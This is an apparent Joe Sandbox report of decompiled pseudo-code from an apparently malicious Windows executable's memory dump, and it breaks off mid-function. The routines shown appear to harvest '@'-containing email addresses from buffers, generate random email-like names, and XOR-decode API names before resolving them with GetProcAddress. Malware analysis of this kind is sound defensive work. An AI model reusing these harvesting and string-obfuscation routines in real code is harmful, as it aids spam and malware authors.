0x0041b78c
0x0041b793
0x0041b793
0x0041b795
0x00000000
0x0041b795
0x0041b658
0x0041b671
0x0041b677
0x0041b67a
0x0041b67c
0x0041b687
0x0041b687
0x0041b68c
0x0041b691
0x0041b695
0x0041b69a
0x0041b6a4
0x0041b6ac
0x0041b6b1
0x0041b6ba
0x0041b6bf
0x00000000
0x0041b6bf
0x0041b82d
0x0041b82d
0x0041b82d
0x00000000
0x0041b79a
0x0041b79e
0x0041b7a3
0x0041b7a7
0x0041b7ab
0x0041b7ab
0x00000000
0x0041b7b7
0x0041b82f
0x0041b833
0x0041b836
0x0041b838
0x0041b842
0x0041b852
0x0041b859
0x0041b860
0x0041b869
0x0041b86b
0x0041b86d
0x0041b86f
0x0041b873
0x0041b880
0x0041b892
0x0041b894
0x0041b899
0x0041b89b
0x0041b89d
0x0041b8a0
0x0041b8a3
0x0041b8a5
0x0041b8a7
0x0041b8aa
0x0041b8ae
0x0041b8cc
0x0041b8cf
0x0041b8d3
0x0041b8d5
0x0041b8d5
0x0041b8d8
0x00000000
0x00000000
0x0041b8da
0x0041b8dc
0x0041b8df
0x0041b8e3
0x00000000
0x00000000
0x00000000
0x0041b8e3
0x0041b8d5
0x0041b8e5
0x0041b8e5
0x0041b8b0
0x0041b8b0
0x0041b8b2
0x0041b8b4
0x0041b8b8
0x0041b8c0
0x0041b8c2
0x0041b8c4
0x0041b8c4
0x0041b8b8
0x0041b8ae
0x0041b8e7
0x0041b8e7
0x0041b8a0
0x0041b8f6
0x0041b8ff
0x0041b904
0x0041b908
0x0041b908
0x0041b880
0x0041b920
0x0041b924
0x0041b929
0x0041b92d
0x0041b92f
0x0041b935
0x0041b937
0x0041b937
0x0041b944
0x0041b949
0x0041b94f
0x0041b94f
0x0041b94f
0x0041b957
0x0041b960
0x0041b96d
0x0041b975
0x0041b97b
0x0041b981
0x0041b984
0x0041b986
0x0041b988
0x0041b993
0x0041b993
0x0041b9a9
0x0041b9ae
0x0041b9b7
0x0041b9b8
0x0041b9c1
0x0041b9c4
0x0041b9c8
0x0041b9d9
0x0041b9de
0x0041b9e7
0x0041b9e8
0x0041b9f1
0x0041b9f4
0x0041b9f7
0x0041b9fb
0x0041b9ff
0x0041ba05
0x0041ba06
0x0041ba0b
0x0041ba0b
0x0041ba0e
0x0041b54a
0x0041b54a
0x0041b554
0x0041b557
0x0041b559
0x0041b565
0x0041b565
0x0041b56c
0x0041b57b
0x0041b585
0x0041b58a
0x0041b593
0x0041b598
0x0041b5a1
0x0041b5a6
0x0041b5ab
0x0041b5af
0x0041b5b5
0x0041b5b6
0x0041b5bb
0x0041b5bb
0x0041b5be
0x0041b5be
0x0041b48a
0x0041b48a
0x0041b48d
0x0041b48f
0x0041b49b
0x0041b49b
0x0041b4a0
0x0041b4a4
0x0041b4aa
0x0041b4ab
0x0041b4b0
0x0041b4b0
0x0041b4b3
0x0041b4b3
0x0041b434
0x0041b434
0x0041b439
0x0041b445
0x0041b445
0x0041b44e
0x0041b454
0x0041b455
0x0041b45a
0x0041b45a
0x0041b45d
0x0041b45d
0x0041ba17
0x0041ba2b

Strings

M, xrefs: 0041B52A
G@,, xrefs: 0041B3E8
M, xrefs: 0041B6A4

Memory Dump Source

Source File: 00000000.00000002.303750221.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303744957.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303886469.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303918997.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.303929663.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_message.jbxd

Similarity

API ID: MutexObjectReleaseSingleWaitlstrlen
String ID: G@,$M$M
API String ID: 2109015423-340347470
Opcode ID: 7911a5574d635876bba3228f93589202df659d67aa1a0e78d2affb198733790a
Instruction ID: 65662130b59962f93e7e6451055683d101b0e1da79cd26758f1cd863abbc9b8b
Opcode Fuzzy Hash: 7911a5574d635876bba3228f93589202df659d67aa1a0e78d2affb198733790a
Instruction Fuzzy Hash: 9A12F4B15083408FD704DF24D891AEBBBE9EF99304F04596EF885873A2C775D885CB9A

Uniqueness

Uniqueness Score: -1.00%

Function 0042C8B2, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 24
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E0042C8B2(int _a4) {
				intOrPtr _v8;
				char _v10;
				char _v16;
				intOrPtr _t7;
				signed int _t9;
				signed int _t11;

				_t7 =  *0x4310d8; // 0x2c0d4047
				_v8 = _t7;
				_v10 = 0;
				_t9 = GetLocaleInfoA(_a4, 0x1004,  &_v16, 6);
				if(_t9 != 0) {
					_t11 = E004259C0( &_v16);
				} else {
					_t11 = _t9 | 0xffffffff;
				}
				return E00424873(_t11, _v8);
			}

0x0042c8b8
0x0042c8bf
0x0042c8ce
0x0042c8d2
0x0042c8da
0x0042c8e5
0x0042c8dc
0x0042c8dc
0x0042c8dc
0x0042c8f4

APIs

GetLocaleInfoA.KERNEL32(?,00001004,00000100,00000006,00000100,?,00000000), ref: 0042C8D2

Strings

G@,, xrefs: 0042C8B8

Memory Dump Source

Source File: 00000000.00000002.303750221.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303744957.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303886469.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303918997.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.303929663.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_message.jbxd

Similarity

API ID: InfoLocale
String ID: G@,
API String ID: 2299586839-3496681718
Opcode ID: d9c418d2c5127a8e192e8e4372b48e11d0a1081b729fc00d09ab3506c0033e68
Instruction ID: e4f55cae686a28aa76e175452713597d1e28f11c85c6f89cf701b194585c12d8
Opcode Fuzzy Hash: d9c418d2c5127a8e192e8e4372b48e11d0a1081b729fc00d09ab3506c0033e68
Instruction Fuzzy Hash: 0AE02230B00208EBDB00EBB1EC42ADD37B8AB08318F8041A6F100D61D1DB70D600C71D

Uniqueness

Uniqueness Score: -1.00%

Function 00405F30, Relevance: 2.8, Strings: 2, Instructions: 262
COMMONCrypto

Download Yara Rule

C-Code - Quality: 97%

			E00405F30(void* __ebx, void* __edi, void* __esi) {
				intOrPtr _t72;
				signed char _t77;
				signed int _t82;
				signed char _t84;
				signed char _t88;
				signed char _t90;
				intOrPtr _t95;
				void* _t96;
				char _t98;
				intOrPtr _t101;
				char _t103;
				intOrPtr _t104;
				intOrPtr _t106;
				intOrPtr _t107;
				char _t108;
				void* _t109;
				void* _t110;
				intOrPtr _t111;
				signed char _t117;
				signed char _t136;
				signed char _t137;
				signed char _t140;
				intOrPtr _t150;
				intOrPtr _t151;
				char _t153;
				intOrPtr _t155;
				intOrPtr _t159;
				intOrPtr _t164;
				intOrPtr _t165;
				void* _t167;
				intOrPtr _t171;
				intOrPtr _t172;
				intOrPtr _t174;
				void* _t175;

				_push(0xffffffff);
				_push(E0042D258);
				_push( *[fs:0x0]);
				 *[fs:0x0] = _t174;
				_t175 = _t174 - 0x34;
				_t72 =  *0x4310d8; // 0x2c0d4047
				_t153 = 0;
				 *((intOrPtr*)(_t175 + 0x30)) = _t72;
				 *((intOrPtr*)(_t175 + 0x30)) = 0xf;
				 *((intOrPtr*)(_t175 + 0x2c)) = 0;
				 *((char*)(_t175 + 0x1c)) = 0;
				_t117 = ( *0x431c84 & 0x000000ff &  *(_t175 + 7) & 0x000000ff ^ 0x000003b7) * 0x0000128b ^ 0x0000001a;
				_t75 = _t117 ^ 0x00000007;
				 *((intOrPtr*)(_t175 + 0x40)) = 0;
				 *((intOrPtr*)(_t175 + 0xc)) = 0;
				if( *((intOrPtr*)(_t175 + 0x4c)) <= 0) {
					L58:
					 *[fs:0x0] =  *((intOrPtr*)(_t175 + 0x38));
					return E00424873(_t75,  *((intOrPtr*)(_t175 + 0x34)));
				} else {
					goto L3;
					L4:
					_t117 = 0x18 - (_t77 & 0x000000ff);
					 *(_t175 + 0x13) = _t117 & _t77 ^ 0x00000082;
					if(_t153 == 0) {
						goto L55;
					}
					_t15 = _t153 - 1; // -1
					_t171 = _t15;
					_t16 = _t171 + 6; // 0x5
					if(_t16 >=  *(_t175 + 0x58)) {
						goto L55;
					}
					_t159 = _t171;
					 *((intOrPtr*)(_t175 + 0x20)) = _t159;
					if(_t171 == 0) {
						L18:
						_t82 = ( *(_t175 + 0x13) & 0x000000ff) * _t117 * 0x0000000e ^ 0x0000001a;
						__eflags = _t159 - _t153;
						if(_t159 >= _t153) {
							L25:
							_t136 = _t82 ^ 0x00000007;
							_t117 = (_t136 & 0x000000ff) * _t82 * 0x0000006f ^ 0x0000001a;
							__eflags = _t159 - _t153;
							 *(_t175 + 0x13) = _t136;
							if(_t159 == _t153) {
								goto L55;
							}
							_t137 =  *0x431c84; // 0x0
							_t172 = _t171 + 2;
							 *((char*)(_t175 + 0x14)) = 0;
							 *0x431c84 = _t137 | 0x00000061;
							_t164 = _t172;
							__eflags = _t172 -  *(_t175 + 0x58);
							while(__eflags < 0) {
								_t103 =  *((intOrPtr*)(_t164 +  *((intOrPtr*)(_t175 + 0x54))));
								__eflags = _t103 - 0x1e;
								 *((char*)(_t175 + 0x1c)) = _t103;
								if(_t103 <= 0x1e) {
									L38:
									_t164 = _t164 - 1;
									__eflags = _t164;
									break;
								}
								_t161 = _t103;
								_t104 = E004253A6(_t103);
								_t175 = _t175 + 4;
								__eflags = _t104;
								if(_t104 != 0) {
									L34:
									_t150 =  *((intOrPtr*)(_t175 + 0x54));
									__eflags =  *((char*)(_t164 + _t150)) - 0x2e;
									if( *((char*)(_t164 + _t150)) == 0x2e) {
										 *((char*)(_t175 + 0x14)) = 1;
									}
									_t153 =  *((intOrPtr*)(_t175 + 0x18));
									_t159 =  *((intOrPtr*)(_t175 + 0x20));
									_t164 = _t164 + 1;
									__eflags = _t164 -  *(_t175 + 0x58);
									continue;
								}
								_t106 = E004253E5(_t161);
								_t175 = _t175 + 4;
								__eflags = _t106;
								if(_t106 != 0) {
									goto L34;
								}
								_t107 =  *((intOrPtr*)(_t175 + 0x1c));
								__eflags = _t107 - 0x2e;
								if(_t107 == 0x2e) {
									goto L34;
								}
								__eflags = _t107 - 0x2d;
								if(_t107 == 0x2d) {
									goto L34;
								}
								__eflags = _t107 - 0x5f;
								if(_t107 != 0x5f) {
									_t159 =  *((intOrPtr*)(_t175 + 0x20));
									_t153 =  *((intOrPtr*)(_t175 + 0x18));
									goto L38;
								}
								goto L34;
							}
							_t84 = _t117;
							_t117 = _t117 * 0x2c76;
							_t140 =  *0x431c84; // 0x0
							 *(_t175 + 0x13) = _t84 &  *(_t175 + 0x13) ^ _t140 + 0x00000019;
							__eflags =  *((intOrPtr*)(_t175 + 0x14));
							if( *((intOrPtr*)(_t175 + 0x14)) == 0) {
								goto L55;
							}
							__eflags = _t164 - _t153;
							if(_t164 == _t153) {
								L46:
								__eflags = _t164 - _t172;
								if(_t164 > _t172) {
									_t88 =  *0x431c84; // 0x0
									_t90 = _t88 -  *(_t175 + 0x13) | _t117 << 0x00000006;
									 *0x431c84 = _t90;
									__eflags = _t164 - _t159 - 7;
									 *(_t175 + 0x13) = 0x38;
									_t117 = _t90 * _t117 * 0x00000039 ^ 0x0000001a;
									if(_t164 - _t159 >= 7) {
										_t155 =  *((intOrPtr*)(_t175 + 0x3c));
										_t147 =  *((intOrPtr*)(_t175 + 0x28));
										_t167 = _t164 + 1;
										__eflags = _t155 - 0x10;
										_t95 =  *((intOrPtr*)(_t175 + 0x28));
										if(_t155 < 0x10) {
											_t95 = _t175 + 0x28;
										}
										_t173 =  *((intOrPtr*)(_t175 + 0x38));
										_t96 = _t95 +  *((intOrPtr*)(_t175 + 0x38));
										__eflags = _t155 - 0x10;
										if(_t155 < 0x10) {
											_t147 = _t175 + 0x28;
										}
										E00405E90(_t175 + 0x34, _t173, _t147, _t96, _t159 +  *((intOrPtr*)(_t175 + 0x54)), _t167 +  *((intOrPtr*)(_t175 + 0x54)));
										__eflags =  *((intOrPtr*)(_t175 + 0x3c)) - 0x10;
										_t98 =  *((intOrPtr*)(_t175 + 0x28));
										 *0x431c84 = 0xd2;
										if( *((intOrPtr*)(_t175 + 0x3c)) < 0x10) {
											_t98 = _t175 + 0x28;
										}
										E0040B300( *((intOrPtr*)(_t175 + 0x5c)), _t98, 0, 1, 1);
										_t153 =  *((intOrPtr*)(_t175 + 0x18));
									}
								}
								goto L55;
							}
							do {
								_t101 =  *((intOrPtr*)(_t164 +  *((intOrPtr*)(_t175 + 0x54))));
								__eflags = _t101 - 0x2e;
								if(_t101 == 0x2e) {
									goto L45;
								}
								__eflags = _t101 - 0x2d;
								if(_t101 == 0x2d) {
									goto L45;
								}
								__eflags = _t101 - 0x5f;
								if(_t101 != 0x5f) {
									goto L46;
								}
								L45:
								_t164 = _t164 - 1;
								__eflags = _t164 - _t153;
							} while (_t164 != _t153);
							goto L46;
						}
						_t165 =  *((intOrPtr*)(_t175 + 0x54));
						do {
							_t151 =  *((intOrPtr*)(_t159 + _t165));
							__eflags = _t151 - 0x2e;
							if(_t151 == 0x2e) {
								goto L23;
							}
							__eflags = _t151 - 0x2d;
							if(_t151 == 0x2d) {
								goto L23;
							}
							__eflags = _t151 - 0x5f;
							if(_t151 != 0x5f) {
								break;
							}
							L23:
							_t159 = _t159 + 1;
							__eflags = _t159 - _t153;
						} while (_t159 < _t153);
						 *((intOrPtr*)(_t175 + 0x20)) = _t159;
						goto L25;
					}
					_t117 = 0x71;
					 *(_t175 + 0x13) = 0x38;
					while(1) {
						_t108 =  *((intOrPtr*)(_t159 +  *((intOrPtr*)(_t175 + 0x54))));
						 *((char*)(_t175 + 0x14)) = _t108;
						if(_t108 <= 0x1e) {
							break;
						}
						_t166 = _t108;
						_t109 = E004253A6(_t108);
						_t175 = _t175 + 4;
						if(_t109 != 0) {
							L14:
							_t153 =  *((intOrPtr*)(_t175 + 0x18));
							_t159 = _t159 - 1;
							 *((intOrPtr*)(_t175 + 0x20)) = _t159;
							if(_t159 == 0) {
								goto L18;
							}
							continue;
						}
						_t110 = E004253E5(_t166);
						_t175 = _t175 + 4;
						if(_t110 != 0) {
							goto L14;
						}
						_t111 =  *((intOrPtr*)(_t175 + 0x14));
						if(_t111 == 0x2e || _t111 == 0x2d || _t111 == 0x5f) {
							goto L14;
						} else {
							_t153 =  *((intOrPtr*)(_t175 + 0x18));
							break;
						}
					}
					_t159 = _t159 + 1;
					__eflags = _t159;
					 *((intOrPtr*)(_t175 + 0x20)) = _t159;
					goto L18;
					L55:
					_t75 =  *(_t175 + 0x58);
					_t153 = _t153 + 1;
					__eflags = _t153 -  *(_t175 + 0x58);
					 *((intOrPtr*)(_t175 + 0x18)) = _t153;
					if(_t153 <  *(_t175 + 0x58)) {
						_t75 =  *(_t175 + 0x13);
						L3:
						_t117 = _t117 | 0x00007df3;
						_t77 = _t117 & _t75 ^ 0x0000005a;
						 *(_t175 + 0x13) = _t77;
						if( *((char*)( *((intOrPtr*)(_t175 + 0x54)) + _t153)) != 0x40) {
							goto L55;
						}
						goto L4;
					}
					__eflags =  *((intOrPtr*)(_t175 + 0x3c)) - 0x10;
					if( *((intOrPtr*)(_t175 + 0x3c)) >= 0x10) {
						_push( *((intOrPtr*)(_t175 + 0x1c)));
						_t75 = L00424BCD();
						_t175 = _t175 + 4;
					}
					goto L58;
				}
			}

0x00405f30
0x00405f32
0x00405f3d
0x00405f3e
0x00405f45
0x00405f48
0x00405f4d
0x00405f4f
0x00405f54
0x00405f5c
0x00405f60
0x00405f82
0x00405f87
0x00405f8b
0x00405f8f
0x00405f93
0x0040623d
0x00406241
0x00406255
0x00405f99
0x00405f9c
0x00405fc3
0x00405fcb
0x00405fd6
0x00405fda
0x00000000
0x00000000
0x00405fe4
0x00405fe4
0x00405fe7
0x00405fec
0x00000000
0x00000000
0x00405ff4
0x00405ff6
0x00405ffa
0x00406058
0x00406063
0x00406066
0x00406068
0x0040608b
0x0040608d
0x00406099
0x0040609c
0x0040609e
0x004060a2
0x00000000
0x00000000
0x004060a8
0x004060b5
0x004060b8
0x004060bd
0x004060c3
0x004060c5
0x004060c7
0x004060cd
0x004060d0
0x004060d2
0x004060d6
0x0040612d
0x0040612d
0x0040612d
0x00000000
0x0040612d
0x004060d8
0x004060dc
0x004060e1
0x004060e4
0x004060e6
0x00406105
0x00406105
0x00406109
0x0040610d
0x0040610f
0x0040610f
0x00406118
0x0040611c
0x00406120
0x00406121
0x00000000
0x00406121
0x004060e9
0x004060ee
0x004060f1
0x004060f3
0x00000000
0x00000000
0x004060f5
0x004060f9
0x004060fb
0x00000000
0x00000000
0x004060fd
0x004060ff
0x00000000
0x00000000
0x00406101
0x00406103
0x00406125
0x00406129
0x00000000
0x00406129
0x00000000
0x00406103
0x00406132
0x00406134
0x0040613c
0x00406147
0x0040614f
0x00406151
0x00000000
0x00000000
0x00406157
0x00406159
0x00406178
0x00406178
0x0040617a
0x00406184
0x00406190
0x00406192
0x004061a7
0x004061aa
0x004061af
0x004061b1
0x004061b3
0x004061b7
0x004061bb
0x004061bc
0x004061bf
0x004061c1
0x004061c3
0x004061c3
0x004061c7
0x004061cb
0x004061cd
0x004061d0
0x004061d2
0x004061d2
0x004061e6
0x004061eb
0x004061f0
0x004061f4
0x004061fb
0x004061fd
0x004061fd
0x0040620c
0x00406211
0x00406211
0x004061b1
0x00000000
0x0040617a
0x00406160
0x00406164
0x00406167
0x00406169
0x00000000
0x00000000
0x0040616b
0x0040616d
0x00000000
0x00000000
0x0040616f
0x00406171
0x00000000
0x00000000
0x00406173
0x00406173
0x00406174
0x00406174
0x00000000
0x00406160
0x0040606a
0x00406070
0x00406070
0x00406073
0x00406076
0x00000000
0x00000000
0x00406078
0x0040607b
0x00000000
0x00000000
0x0040607d
0x00406080
0x00000000
0x00000000
0x00406082
0x00406082
0x00406083
0x00406083
0x00406087
0x00000000
0x00406087
0x00405ffc
0x00406001
0x00406006
0x0040600a
0x0040600f
0x00406013
0x00000000
0x00000000
0x00406015
0x00406019
0x0040601e
0x00406023
0x00406042
0x00406042
0x00406046
0x00406047
0x0040604b
0x00000000
0x00000000
0x00000000
0x0040604d
0x00406026
0x0040602b
0x00406030
0x00000000
0x00000000
0x00406032
0x00406038
0x00000000
0x0040604f
0x0040604f
0x00000000
0x0040604f
0x00406038
0x00406053
0x00406053
0x00406054
0x00000000
0x00406215
0x00406215
0x00406219
0x0040621a
0x0040621c
0x00406220
0x00405f9e
0x00405fa2
0x00405fa2
0x00405faf
0x00405fb9
0x00405fbd
0x00000000
0x00000000
0x00000000
0x00405fbd
0x00406226
0x0040622e
0x00406234
0x00406235
0x0040623a
0x0040623a
0x00000000
0x0040622e

Strings

G@,, xrefs: 00405F48
8, xrefs: 004061AA

Memory Dump Source

Source File: 00000000.00000002.303750221.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303744957.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303886469.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303918997.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.303929663.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_message.jbxd

Similarity

API ID:
String ID: 8$G@,
API String ID: 0-2625983053
Opcode ID: 814331b60dd9f30dc3f595824217278f4f2d009bcc9f76483a00ba86c43ce653
Instruction ID: 26635683ad8bc6e3c89de0789139caf88a326a2f6bde127323b4d45711ec2293
Opcode Fuzzy Hash: 814331b60dd9f30dc3f595824217278f4f2d009bcc9f76483a00ba86c43ce653
Instruction Fuzzy Hash: 239136701083914BD710CE2895907AFBBE1ABD6300F45593EE8D26B392D27CD95A8B4B

Uniqueness

Uniqueness Score: -1.00%

Function 00410670, Relevance: 2.7, Strings: 2, Instructions: 178
COMMONCrypto

Download Yara Rule

C-Code - Quality: 70%

			E00410670(void* __ebx, signed int __edx, void* __edi, void* __esi, void* __ebp, void* __eflags, intOrPtr _a4, signed int _a8, intOrPtr _a12) {
				char _v4;
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				char _v80;
				intOrPtr _v84;
				char _v88;
				char _v104;
				char _v108;
				intOrPtr _v112;
				char _v116;
				char _v128;
				char _v132;
				char _v136;
				char _v148;
				char _v156;
				intOrPtr _t79;
				signed int _t80;
				signed int _t82;
				signed int _t86;
				signed int _t88;
				intOrPtr* _t101;
				char* _t125;
				intOrPtr _t133;
				void* _t172;
				void* _t180;
				intOrPtr _t186;
				void* _t187;
				void* _t188;

				_t185 = __ebp;
				_t180 = __edi;
				_push(0xffffffff);
				_push(E0042D383);
				_push( *[fs:0x0]);
				 *[fs:0x0] = _t186;
				_t187 = _t186 - 0x7c;
				_t79 =  *0x4310d8; // 0x2c0d4047
				_v16 = _t79;
				_v112 = 0xf;
				_v116 = 0;
				_v132 = 0;
				_v4 = 0;
				_t80 = E0040C1D0(__edx);
				_t149 = _t80 % 0x64;
				if(_t80 % 0x64 > 0x46) {
					_t82 = E0040C1D0(_t149);
					_t151 = _t82 % 0x64;
					_push(0xffffffff);
					_t125 =  &_v136;
					_push(0);
					if(_t82 % 0x64 < 0x32) {
						_push(_a12);
					} else {
						_t151 = _a8;
						_push(_a8);
					}
					E004027B0(_t125);
					_t86 = E0040C1D0(_t151);
					_t153 = _t86 % 0x64;
					if(_t86 % 0x64 >= 0x32) {
						E0040DAE0( &_v136, _t185, "_", 1);
					}
					_t88 = E0040C1D0(_t153);
					_t155 = _t88 % 0x64;
					if(_t88 % 0x64 < 0x32) {
						 *0x431f14( &_v80, "%c%c%c%c%c", E0040C1D0(E0040C1D0(E0040C1D0(E0040C1D0(E0040C1D0(_t155) % 0x1a + 0x61) % 0x1a + 0x61) % 0x1a + 0x61) % 0x1a + 0x61) % 0x1a + 0x61, E0040C1D0(E0040C1D0(E0040C1D0(E0040C1D0(_t155) % 0x1a + 0x61) % 0x1a + 0x61) % 0x1a + 0x61) % 0x1a + 0x61, E0040C1D0(E0040C1D0(E0040C1D0(_t155) % 0x1a + 0x61) % 0x1a + 0x61) % 0x1a + 0x61, E0040C1D0(E0040C1D0(_t155) % 0x1a + 0x61) % 0x1a + 0x61, E0040C1D0(_t155) % 0x1a + 0x61);
						_t187 = _t187 + 0x1c;
					} else {
						 *0x431f14( &_v80, "%d", E0040C1D0(_t155) % 0x38 + 0x79e);
						_t187 = _t187 + 0xc;
					}
					_t101 =  &_v80;
					_t172 = _t101 + 1;
					do {
						_t133 =  *_t101;
						_t101 = _t101 + 1;
					} while (_t133 != 0);
					E0040DAE0( &_v136, _t185,  &_v80, _t101 - _t172);
				} else {
					E004027B0( &_v136, _a8, 0, 0xffffffff);
					E0040DAE0( &_v148, __ebp, 0x42e310, 1);
					E0040D9F0( &_v156, __ebp, _v8, 0, 0xffffffff);
				}
				_v84 = 0xf;
				_v88 = 0;
				_v104 = 0;
				_v4 = 1;
				L0040FF30(_t180, _t185,  &_v108);
				_t182 = _a4;
				_t188 = _t187 + 4;
				E004027B0(_a4,  &_v136, 0, 0xffffffff);
				E0040DAE0(_a4, _t185, "@", 1);
				E0040D9F0(_t182, _t185,  &_v128, 0, 0xffffffff);
				_t110 = _v116;
				if(_v116 >= 0x10) {
					_push(_v104);
					_t110 = L00424BCD();
					_t188 = _t188 + 4;
				}
				_v88 = 0;
				_v104 = 0;
				_v84 = 0xf;
				if(_v112 >= 0x10) {
					_push(_v132);
					_t110 = L00424BCD();
					_t188 = _t188 + 4;
				}
				 *[fs:0x0] = _v12;
				return E00424873(_t110, _v16);
			}

0x00410670
0x00410670
0x00410670
0x00410672
0x0041067d
0x0041067e
0x00410685
0x00410688
0x00410690
0x00410695
0x0041069d
0x004106a1
0x004106a5
0x004106ac
0x004106b8
0x004106bd
0x004106fc
0x00410708
0x0041070a
0x0041070c
0x00410710
0x00410714
0x00410727
0x00410716
0x00410716
0x0041071d
0x0041071d
0x00410728
0x0041072d
0x00410739
0x0041073e
0x0041074b
0x0041074b
0x00410750
0x0041075c
0x00410761
0x004107f1
0x004107f7
0x00410763
0x00410782
0x00410788
0x00410788
0x004107fa
0x004107fe
0x00410801
0x00410801
0x00410803
0x00410804
0x00410814
0x004106bf
0x004106ce
0x004106de
0x004106f2
0x004106f2
0x00410819
0x00410821
0x00410825
0x0041082e
0x00410836
0x0041083b
0x00410842
0x0041084f
0x0041085d
0x0041086c
0x00410871
0x0041087c
0x00410882
0x00410883
0x00410888
0x00410888
0x00410890
0x00410894
0x00410898
0x004108a1
0x004108a7
0x004108a8
0x004108ad
0x004108ad
0x004108b4
0x004108ca

Strings

%c%c%c%c%c, xrefs: 004107EB
G@,, xrefs: 00410688

Memory Dump Source

Source File: 00000000.00000002.303750221.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303744957.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303886469.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303918997.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.303929663.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_message.jbxd

Similarity

API ID: CountTick
String ID: %c%c%c%c%c$G@,
API String ID: 536389180-3760361133
Opcode ID: daa91acc0e97e6ab900b670a7356a182af056bc5419cf5b0c7a93d0f2983e8bb
Instruction ID: 4dc9e3df276925cb3a034685040d612f820b75638e41f6e52d904118c8461c86
Opcode Fuzzy Hash: daa91acc0e97e6ab900b670a7356a182af056bc5419cf5b0c7a93d0f2983e8bb
Instruction Fuzzy Hash: CD5105706083409BD304EB26C9C2B9FB6E7AFC9714F04CA3FB159672D1DABC94448B5A

Uniqueness

Uniqueness Score: -1.00%

Function 00425214, Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.303750221.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303744957.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303886469.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303918997.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.303929663.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_message.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4374541c7480c9de861eca13ad143b888a03e34fd4b500e75caf825a3247e9c9
Instruction ID: 3cdbe674e5470716266b0416ac65ed08902d21a00894794e9fc3ed7962c02048
Opcode Fuzzy Hash: 4374541c7480c9de861eca13ad143b888a03e34fd4b500e75caf825a3247e9c9
Instruction Fuzzy Hash: F721D632A00614DFCB14DF69D8809ABB7A5FF45310B8A80A9E915CB286E734F915CBF0

Uniqueness

Uniqueness Score: -1.00%

Function 0041D478, Relevance: 158.0, APIs: 13, Strings: 77, Instructions: 482
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 98%

			E0041D478(void* __eax, void* __ebx, char _a40, char _a41, char _a42, char _a43, char _a44, char _a45, char _a46, char _a47, char _a48, char _a49, char _a50, char _a51, char _a52, char _a53, char _a56, char _a57, char _a58, char _a59, char _a60, char _a61, char _a62, char _a63, char _a64, char _a65, char _a66, char _a67, char _a68, char _a69, char _a70, char _a71, char _a72, char _a73, char _a76, char _a77, char _a78, char _a79, char _a80, char _a81, char _a82, char _a83, char _a84, char _a85, char _a86, char _a87, char _a88, char _a89, char _a90, char _a91, char _a92, char _a93, char _a96, char _a97, char _a98, char _a99, char _a100, char _a101, char _a102, char _a103, char _a104, char _a105, char _a106, char _a108, char _a109, char _a110, char _a111, char _a112, char _a113, char _a114, char _a115, char _a116, char _a117, char _a118, char _a119, char _a120, char _a121, char _a122, char _a123, char _a124, char _a125, char _a126, char _a127, char _a128, char _a129, char _a130, char _a131, char _a132, char _a133, char _a134, char _a135, char _a136, char _a137, char _a138, char _a139, char _a140, char _a141, char _a142, char _a143, char _a144, char _a145, char _a146, char _a147, char _a148, char _a149, char _a150, char _a152, char _a153, char _a154, char _a155, char _a156, char _a157, char _a158, char _a159, char _a160, char _a161, char _a164, char _a165, char _a166, char _a167, char _a168, char _a169, char _a170, char _a171, char _a172, char _a173, char _a174, char _a176, char _a177, char _a178, char _a179, char _a180, char _a181, char _a182, char _a183, char _a184, char _a185, char _a186, char _a187, char _a188, char _a189, char _a190, char _a191, char _a192, char _a193, char _a194, char _a195, char _a196, char _a197, char _a198, char _a199, char _a200, char _a201, char _a204, char _a205, char _a206, char _a207, char _a208, char _a209, char _a210, char _a211, char _a212, char _a213, char _a216, char _a217, char _a218, char _a219, char _a220, char _a221, char _a222, char _a223, char _a224, char _a225, char _a226, char _a227, char _a228, char _a229, char _a230, char _a231, char _a232, char _a233, char _a234, char _a235, CHAR* _a336) {
				struct HINSTANCE__* __edi;

				do {
					 *(__esp +  &(__eax[0xb0])) =  *(__esp +  &(__eax[0xb0])) ^  *(__esp +  &(__eax[0x10]));
					__eax =  &(__eax[1]);
				} while (__eax < 0x17);
				__edx =  &_a176;
				__eax = GetProcAddress(__edi,  &_a176);
				 *0x431ef4 = __eax;
				if(__eax == 0) {
					L1:
					return E00424873(0, _a336);
				} else {
					__eax =  &_a108;
					__ecx =  &_a40;
					__edx = 0xc;
